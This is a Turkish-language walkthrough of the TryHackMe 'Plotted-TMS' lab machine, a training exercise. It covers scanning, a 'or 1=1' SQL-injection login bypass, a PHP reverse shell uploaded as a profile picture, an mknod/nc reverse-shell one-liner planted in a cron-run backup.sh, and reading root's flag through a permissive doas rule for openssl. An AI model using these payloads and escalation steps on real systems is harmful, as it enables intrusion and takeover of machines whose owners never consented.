Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Plotted-TMS” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
┌──(root㉿kali)-[/home/kali]
└─# nmap -sS -sV 10.10.1.8
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-12 03:56 EDT
Nmap scan report for 10.10.1.8
Host is up (0.066s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
445/tcp open http Apache httpd 2.4.41 ((Ubuntu))
2 — Dizin taraması yapıyorum.
┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://10.10.1.8:445 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.1.8:445
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/12 04:12:39 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 10918]
/management (Status: 301) [Size: 316] [--> http://10.10.1.8:445/management/]
3 — “/management” dizinine girdikten sonra karşıma bir giriş ekranı çıkıyor. “ ‘or 1=1 — — “ payloadı ile giriş yapıyorum. Daha sonra “My Account” kısmına girip profil fotoğrafı olarak bir php reverse shell yüklüyorum. Upload butonuna bastığım an bir bağlantı elde ediyorum.
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cp /usr/share/webshells/php/php-reverse-shell.php .
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nano php-reverse-shell.php
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cp php-reverse-shell.php shell.php
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.94.51] from (UNKNOWN) [10.10.1.8] 39682
Linux plotted 5.4.0-89-generic #100-Ubuntu SMP Fri Sep 24 14:50:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
08:15:35 up 22 min, 0 users, load average: 1.26, 1.49, 1.24
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
4 — Cron tablosunu izlediğim zaman “/var/www/scripts/backup.sh” isminde bir betiği görüyorum.
www-data@plotted:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * plot_admin /var/www/scripts/backup.sh
5 — backup.sh dosyasını silip yerine aynı isimde bir dosya oluşturuyorum. Dosyanın içine bir reverse shell kodu yerleştiriyorum.
www-data@plotted:/var/www/scripts$ rm backup.sh
rm backup.sh
www-data@plotted:/var/www/scripts$ cat > backup.sh << EOF
cat > backup.sh << EOF
> rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.94.51 4445 >/tmp/f
www-data@plotted:/var/www/scripts$ chmod +x backup.sh
chmod +x backup.sh
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.8.94.51] from (UNKNOWN) [10.10.1.8] 43328
/bin/sh: 0: can't access tty; job control turned off
$ whoami
plot_admin
$ SHELL=/bin/bash
$ SHELL=/bin/bash script -q /dev/null
plot_admin@plotted:~$
6 — “Plot_admin” kullanıcısının ev dizininde ilk bayrağımı buluyorum.
plot_admin@plotted:/home$ cd plot_admin
cd plot_admin
plot_admin@plotted:~$ ls
ls
tms_backup user.txt
plot_admin@plotted:~$ cat user.txt
cat user.txt
*CENSORED*
7 — “SUID” biti aktifleştirilmiş komutları listelediğimde “doas” komutunu görüyorum. Doas, bir komutu sistemdeki başka bir kullanıcı ile çalıştırmaya yarayan bir araçtır. Doas komutunun konfigürasyon dosyasını incelediğimde “openssl” komutunu doas ile şifresiz olarak kullanabildiğimi görüyorum.
plot_admin@plotted:~$ find / -perm -u=s -type f 2>/dev/null
*
*
/usr/bin/doas
*
plot_admin@plotted:~$ cat /etc/doas.conf
cat /etc/doas.conf
permit nopass plot_admin as root cmd openssl
8 — “Openssl” komutu ile root bayrağını okuyorum.
plot_admin@plotted:~$ doas openssl enc -in /root/root.txt
doas openssl enc -in /root/root.txt
Congratulations on completing this room!
*CENSORED*